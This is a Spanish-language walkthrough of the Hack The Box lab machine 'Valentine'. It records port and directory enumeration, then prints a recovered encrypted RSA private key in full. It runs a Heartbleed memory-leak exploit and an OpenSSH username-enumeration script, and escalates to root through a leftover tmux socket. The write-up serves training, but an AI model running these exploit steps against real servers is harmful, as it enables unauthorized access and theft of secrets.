Valentine is a very unique medium difficulty machine which focuses on the Heartbleed vulnerability, which had devastating impact on systems across the globe.
Enumeración#
❯ sudo nmap -p- --open --min-rate 5000 -vvv -n -Pn -sS 10.129.232.136 -oG ports
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 19:39 EDT
Initiating SYN Stealth Scan at 19:39
Scanning 10.129.232.136 [65535 ports]
Discovered open port 80/tcp on 10.129.232.136
Discovered open port 22/tcp on 10.129.232.136
Discovered open port 443/tcp on 10.129.232.136
Completed SYN Stealth Scan at 19:39, 13.46s elapsed (65535 total ports)
Nmap scan report for 10.129.232.136
Host is up, received user-set (0.095s latency).
Scanned at 2025-08-29 19:39:13 EDT for 14s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds
Raw packets sent: 66551 (2.928MB) | Rcvd: 66557 (2.663MB)
❯ nmap -p22,80,443 -sCV -A 10.129.232.136 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 19:40 EDT
Nmap scan report for 10.129.232.136
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_ssl-date: 2025-08-29T23:40:49+00:00; 0s from scanner time.
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesnt have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
❯ gobuster dir -u http://10.129.232.136 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --no-error -t 200
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.232.136
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dev (Status: 301) [Size: 314] [--> http://10.129.232.136/dev/]
/encode (Status: 200) [Size: 554]
/decode (Status: 200) [Size: 552]
/omg (Status: 200) [Size: 153356]
/server-status (Status: 403) [Size: 295]
Progress: 1273830 / 1273830 (100.00%)
===============================================================
Finished
===============================================================
Puerto 80#
Además de esto podemos revisar los recursos que nos listo [[Gobuster]]:
- encoder:
- decoder:
- notes:
- hypekey:
Heartbleed#
Este es el que se ve mas interesante parece una cadena hexadecimal por lo que podemos tratar de devolverlo al formato original:
❯ xxd -r -p hype_key > hype_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
Esta clave rsa normalmente nos serviría para podernos conectar mediante ssh sin que nos pida la contraseña del usuario, pero esta protegida por otra clave si bien no nos va a pedir la contraseña del usuario nos pedirá la de la clave rsa por lo que podemos intentar extraer el hash y hacerle fuerza bruta:
❯ ssh2john hype_rsa > hash
Pero esto no va a funcionar. No pude encontrar nada mas de esta forma por lo que vamos a volver a [[nmap]] para usar sus scripts de enumeración de vulnerabilidades, ya que pueden encontrar alguna vulnerabilidad en los puertos abiertos de la maquina:
nmap --script "vuln" IP
Con esto podremos encontrar la vulnerabilidad [[Heartbleed]], que permite leer memoria arbitraria de los servidores o clientes con la versión vulnerable, lo que puede exponer información confidencial, esto debido a que como atacantes podemos solicitar que el servidor nos envié una longitud mayor a la real y este no lo verifica lo que hace que se fugue información en el espacio de sobra.
Sabiendo esto podemos buscar un exploit yo encontré uno que clone:
git clone https://gist.github.com/10174134.git
Si ejecutamos python2 heartbleed.py (Tiene que ser con python2) nos mostrara como lo debemos ejecutar:
Por lo que podemos ejecutar el siguiente comando:
python2 heartbleed.py -p 443 -n 10 10.129.232.136
Lo que hace el -n es indicar cuantas veces va a tratar de ejecutar el ataque ya que no siempre puede traer algo.
Vemos que estas cadenas repetidas tiene un formato parecido a base64 por lo que podemos tratar de ver que es sin el cifrado:
Esto puede ser la clave que protege la key rsa pero nos hace falta el usuario para iniciar sesión, entonces lo podríamos averiguar debido a que la versión del OpenSSH es bastante vieja:
searchsploit -m linux/remote/45939.py
Así podríamos comprobar los usuarios:
python2 45939.py 10.129.232.136 root
Con esto podríamos generar un ataque de fuerza bruta pero debido a la respuesta lenta del servidor se va a demorar una eternidad en encontrar el usuario entonces nos vamos a guiar por el nombre que tenia la clave rsa que es hype de modo que nos podemos conectar con ese usuario y con la cadena después de quitarle el ==base64==:
sign_and_send_pubkey: no mutual signature supported Esto es por el cambio de versiones entonces para solucionarlo agregamos
-o PubkeyAcceptedKeyTypes=+ssh-rsa
ssh -i hype_rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa hype@10.129.232.136
Escalamiento de privilegios#
Podemos ver que hay referencia a [[tmux]] si buscamos en https://gtfobins.github.io/ encontraremos que nos puede servir a escalar privilegios.
Por lo que para escalar privilegios simplemente podemos ejecutar:
tmux -S /.devs/dev_sess
Y ya somos root.













